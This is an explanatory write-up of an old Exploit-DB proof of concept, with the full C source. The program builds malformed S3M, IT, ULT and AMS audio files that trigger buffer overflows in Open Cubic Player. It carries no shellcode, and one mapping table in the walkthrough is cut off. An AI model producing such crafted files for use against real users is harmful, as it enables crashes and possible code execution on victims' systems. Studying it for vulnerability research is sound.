Open Cubic Player Multiple Local Buffer Overflow Exploitation

Open Cubic Player Multiple Local Buffer Overflow Exploitation
What this paper is
This paper, published by Luigi Auriemma in 2006, details multiple buffer overflow vulnerabilities found in Open Cubic Player versions 2.6.0pre6 and 0.1.10_rc5. The exploit code provided is a proof-of-concept (POC) designed to create malformed audio files that, when opened by the vulnerable player, trigger these overflows. These overflows can lead to crashes or, in theory, allow for arbitrary code execution if crafted carefully. The vulnerabilities are local, meaning an attacker needs to be able to place a malicious file on the victim's system and trick them into opening it.
Simple technical breakdown
The core of the vulnerabilities lies in how Open Cubic Player parses different audio file formats (S3M, IT, ULT, AMS). The program expects certain data fields within these files to be of a specific size. However, the provided code crafts files where these fields are larger than expected, or where calculations based on these fields lead to writing beyond allocated memory buffers.
The exploit code acts as a file generator. It takes an "attack" number and an output filename as input. Based on the attack number, it constructs a file in a specific audio format with deliberately oversized data sections. When Open Cubic Player attempts to load and process this malformed file, it tries to copy more data than the buffer can hold, leading to a buffer overflow.
Complete code and payload walkthrough
The provided C code is a tool to generate malicious audio files for different attack vectors. Let's break down the key components:
1. Includes and Definitions:
stdio.h,stdlib.h,string.h,stdint.h: Standard C libraries for input/output, memory allocation, string manipulation, and fixed-width integer types.VER: Defines the version string for the exploit.POCNAME: Defines a string used as a placeholder name within the generated files.
2. File Writing Helper Functions:
fwbof(FILE *fd, int len, int chr): Writeslenbytes of characterchrto the file descriptorfd. This is used to fill buffers with specific data.fwi08(FILE *fd, int num): Writes a single byte (8-bit integer)numto the file descriptorfd.fwi16(FILE *fd, int num): Writes a 16-bit integernumto the file descriptorfdin little-endian format (least significant byte first).fwi32(FILE *fd, int num): Writes a 32-bit integernumto the file descriptorfdin little-endian format.fwstx(FILE *fd, uint8_t *str, int size): Writes a stringstrto the file descriptorfd, padding it with null bytes (0) up tosizebytes.fwmem(FILE *fd, uint8_t *data, int size): Writes a block ofsizebytes fromdatato the file descriptorfd.std_err(void): Prints a system error message and exits.
3. Data Structures:
These structures define the expected layout of different audio file headers. The exploit manipulates fields within these structures or uses them to calculate sizes that lead to overflows.
s3m_t: Represents the header for a Scream Tracker 3 (S3M) file.name[28]: Sample or instrument name.kennung: Identifier (e.g., 0x1a).typ: File type.ordnum: Number of order/pattern list entries.scrm: Signature ("SCRM").
it_t: Represents the header for an Impulse Tracker (IT) file.sign[4]: Signature (e.g., "IMPM").name[26]: Module name.OrdNum: Number of order/pattern list entries.InsNum: Number of instruments.SmpNum: Number of samples.PatNum: Number of patterns.Cmwt: Unknown value, potentially related to timing or tempo.
ams_t: Represents a structure used within the AMS file format.ins: Number of instruments.pat: Number of patterns.pos: Position.bpm: Beats per minute.speed: Speed.defchn: Default channel.defcmd: Default command.defrow: Default row.flags: File flags.
4. main Function:
- Initialization: Sets standard output to be unbuffered (
setbuf(stdout, NULL)), prints introductory messages. - Argument Parsing:
- Checks if at least two arguments (
attackandoutput_file) are provided. - If not, prints usage instructions and exits.
attack: An integer specifying which vulnerability to exploit (1-4).fname: The name of the output file to create.
- Checks if at least two arguments (
- File Creation: Opens the specified output file in binary write mode (
"wb"). If opening fails,std_err()is called. - Attack Logic (Conditional Execution):
attack == 1(S3MmpLoadS3Mbuffer overflow):- Initializes
s3m_tstructure with zeros. - Sets
s3m.nametoPOCNAME. - Sets
s3m.kennungto0x1aands3m.typto16. - Sets
s3m.ordnumto800. This is a key value for the overflow. - Sets
s3m.scrmto "SCRM". - Writes the
s3m_tstructure to the file. - Writes
s3m.ordnum - 1(799) 'a' characters. This creates a large data block. - Writes a single null byte (
0). The comment suggests this is "for forcing 'return errFormMiss'", implying it might be used to trigger a specific error path that then leads to the overflow. - Vulnerability: The
mpLoadS3Mfunction likely reads theordnumfield and then expects a certain amount of data related to orders. By settingordnumhigh and then writingordnum - 1'a's, it creates a situation where the player might try to copy more data than the buffer allocated for orders can hold.
- Initializes
attack == 2(ITitload.cppbuffer overflow):- Initializes
it_tstructure with zeros. - Sets
it.signto "IMPM". - Sets
it.nametoPOCNAME. - Sets
it.Cmwtto0x200. - Sets
it.OrdNumto1000. The comment explicitly states "// buffer-overflow". - The commented-out line
// it.InsNum = 200; // buffer-overflowsuggestsInsNumcould also be a target. - Writes the
it_tstructure to the file. - Writes 64 null bytes, then another 64 null bytes.
- Writes
it.OrdNum(1000) 'a' characters. This is the primary overflow trigger. - Writes
it.InsNum(default 0) 'a' characters. - Writes
it.SmpNum(default 0) 'a' characters. - Writes
it.PatNum(default 0) 'a' characters. - Vulnerability: The
itload.cppfunction likely usesit.OrdNumto determine the size of a buffer for order data. By settingit.OrdNumto a large value (1000) and then writing 1000 'a's, it can overflow the buffer intended to hold this data.
- Initializes
attack == 3(ULTmpLoadULTbuffer overflow):- Writes the signature "MAS_UTrack_V00" (14 bytes).
- Writes a byte
3 + '1'. - Writes
POCNAME(32 bytes, null-padded). - Writes two null bytes for
msglenandinsnum. - Calls
fwbof(fd, 256, 0)to write 256 null bytes for "orders". - Sets
tmpto0x7f. - Writes
tmpaschnn. - Writes
0aspatn. - Calls
fwbof(fd, tmp, 'a')to write 127 'a' characters. - The comment
// possible heap overflow with chbp, patlength = 0indicates another potential overflow scenario not directly implemented here. - Vulnerability: The
mpLoadULTfunction likely has a buffer for channel data or related information. By writing 256 bytes for "orders" and then 127 'a's for channel data (tmpis 127), it can overflow a buffer associated with channel configuration or processing. Thepatlength = 0comment suggests that if a pattern length is zero, it might lead to a heap overflow when processing channel data.
attack == 4(AMSmpLoadAMSbuffer overflow (envs)):- Writes the signature "AMShdr\x1a" (7 bytes).
- Writes
AMSNAMELEN(8) as the next byte. - Calls
fwbof(fd, AMSNAMELEN, 'a')to write 8 'a's for the name. This is an overflow for the name field. - Writes
0x202asfilever. - Initializes
ams_tstructure with zeros. - Sets
ams.insto1. - Writes the
ams_tstructure. - Instrument Loop: Iterates
ams.instimes (once in this case).- Writes
AMSNAMELEN(8) asnamelen. - Calls
fwbof(fd, AMSNAMELEN, 'a')to write 8 'a's for the instrument name. This is another overflow for the instrument name. - Writes
1assmpnum. - Calls
fwbof(fd, 120, 0)to write 120 null bytes forsamptab. - Envelopes Loop: Iterates 3 times for envelopes.
- Sets
tmpto0xff(255). - Writes 4 null bytes for
speed,sustain,loopstart,loopend. - Writes
tmp(255) aspoints. This indicates 255 points in the envelope. - Calls
fwbof(fd, tmp * 3, 'a')to write255 * 3 = 765'a' characters. - Vulnerability: The
mpLoadAMSfunction, specifically when processing envelopes, reads thepointsfield. It then expects to readpoints * 3bytes for the actual envelope points. By settingpointsto0xff(255) and then writing765bytes, it creates an overflow in the buffer allocated for envelope data.
- Sets
- Writes
- Cleanup: Closes the output file (
fclose(fd)). - Completion: Prints a "finished" message.
Shellcode/Payload:
This exploit code does not contain explicit shellcode. Its purpose is to generate a malformed file that causes a buffer overflow. The overflow itself is the "payload" in the sense that it corrupts memory. To achieve arbitrary code execution, a carefully crafted sequence of bytes would need to overwrite the return address on the stack with the address of injected shellcode, which is not part of this specific POC. The exploit focuses solely on triggering the overflow condition.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define VER "0.1"
#define POCNAME "proof-of-concept"
void fwbof(FILE *fd, int len, int chr);
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstx(FILE *fd, uint8_t *str, int size);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);
#pragma pack(1)
typedef struct {
int8_t name[28];
uint8_t kennung;
uint8_t typ;
uint8_t dummy[2];
uint16_t ordnum;
uint16_t insnum;
uint16_t patnum;
uint16_t flags;
uint16_t cwtv;
uint16_t ffi;
int8_t scrm[4];
uint8_t gv;
uint8_t is;
uint8_t it;
uint8_t mv;
uint8_t uc;
uint8_t dp;
uint8_t dummy2[8];
uint16_t special;
uint8_t chanset[32];
} s3m_t;
typedef struct {
uint8_t sign[4]; // IMPM
uint8_t name[26];
uint16_t PHiligt;
uint16_t OrdNum;
uint16_t InsNum;
uint16_t SmpNum;
uint16_t PatNum;
uint16_t Cwtv;
uint16_t Cmwt;
uint16_t Flags;
uint16_t Special;
uint8_t GV;
uint8_t MV;
uint8_t IS;
uint8_t IT;
uint8_t Sep;
uint8_t PWD;
uint16_t MsgLgth;
uint32_t MsgOff;
uint32_t Reserved;
} it_t;
#define AMSNAMELEN 8 // < 128
typedef struct {
uint8_t ins;
uint16_t pat;
uint16_t pos;
uint16_t bpm;
uint8_t speed;
uint8_t defchn;
uint8_t defcmd;
uint8_t defrow;
uint16_t flags;
} ams_t;
#pragma pack()
int main(int argc, char *argv[]) {
FILE *fd;
s3m_t s3m;
it_t it;
ams_t ams;
int i,
j,
tmp,
attack;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"Open Cubic Player <= 2.6.0pre6 / 0.1.10_rc5 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <output_file>\n"
"\n"
"Attacks:\n"
" 1 = buffer-overflow in mpLoadS3M (*.S3M)\n"
" 2 = buffer-overflow in itload.cpp (*.IT)\n"
" 3 = buffer-overflow in mpLoadULT (*.ULT)\n"
" 4 = buffer-overflow (envs) in mpLoadAMS (*.AMS)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
fname = argv[2];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
if(attack == 1) {
memset(&s3m, 0, sizeof(s3m));
strncpy(s3m.name, POCNAME, sizeof(s3m.name));
s3m.kennung = 0x1a;
s3m.typ = 16;
s3m.ordnum = 800;
memcpy(s3m.scrm, "SCRM", 4);
fwrite(&s3m, sizeof(s3m), 1, fd);
for(i = 0; i < s3m.ordnum - 1; i++) fputc('a', fd);
fputc(0, fd); // for forcing "return errFormMiss"
} else if(attack == 2) {
memset(&it, 0, sizeof(it));
memcpy(it.sign, "IMPM", 4);
strncpy(it.name, POCNAME, sizeof(it.name));
it.Cmwt = 0x200;
it.OrdNum = 1000; // buffer-overflow
// it.InsNum = 200; // buffer-overflow
fwrite(&it, sizeof(it), 1, fd);
for(i = 0; i < 64; i++) fwi08(fd, 0);
for(i = 0; i < 64; i++) fwi08(fd, 0);
for(i = 0; i < it.OrdNum; i++) fwi08(fd, 'a');
for(i = 0; i < it.InsNum; i++) fwi32(fd, 'a');
for(i = 0; i < it.SmpNum; i++) fwi32(fd, 'a');
for(i = 0; i < it.PatNum; i++) fwi32(fd, 'a');
} else if(attack == 3) {
fwmem(fd, "MAS_UTrack_V00", 14);
fwi08(fd, 3 + '1');
fwstx(fd, POCNAME, 32);
fwi08(fd, 0); // msglen
fwi08(fd, 0); // insnum
fwbof(fd, 256, 0); // orders
tmp = 0x7f;
fwi08(fd, tmp); // chnn
fwi08(fd, 0); // patn
fwbof(fd, tmp, 'a'); // buffer-overflow
// possible heap overflow with chbp, patlength = 0
} else if(attack == 4) {
fwmem(fd, "AMShdr\x1A", 7); // sig
fwi08(fd, AMSNAMELEN); // sig[7]
fwbof(fd, AMSNAMELEN, 'a'); // name
fwi16(fd, 0x202); // filever
memset(&ams, 0, sizeof(ams));
ams.ins = 1;
fwrite(&ams, sizeof(ams), 1, fd);
for(j = 0; j < ams.ins; j++) {
fwi08(fd, AMSNAMELEN); // namelen
fwbof(fd, AMSNAMELEN, 'a'); // name
fwi08(fd, 1); // smpnum
fwbof(fd, 120, 0); // samptab
for(i = 0; i < 3; i++) { // envs
tmp = 0xff;
fwi08(fd, 0); // speed
fwi08(fd, 0); // sustain
fwi08(fd, 0); // loopstart
fwi08(fd, 0); // loopend
fwi08(fd, tmp); // points
fwbof(fd, tmp * 3, 'a');
}
}
} else {
printf("\nError: you must specify the right attack number\n");
}
fclose(fd);
printf("- finished\n");
return(0);
}
void fwbof(FILE *fd, int len, int chr) {
while(len--) fputc(chr, fd);
}
void fwi08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}
void fwi16(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void fwstx(FILE *fd, uint8_t *str, int size) {
int i;
for(i = 0; str[i] && (i < size); i++) {
fputc(str[i], fd);
}
for(; i < size; i++) {
fputc(0, fd);
}
}
void fwmem(FILE *fd, uint8_t *data, int size) {
fwrite(data, size, 1, fd);
}
void std_err(void) {
perror("\nError");
exit(1);
}
// milw0rm.com [2006-07-31]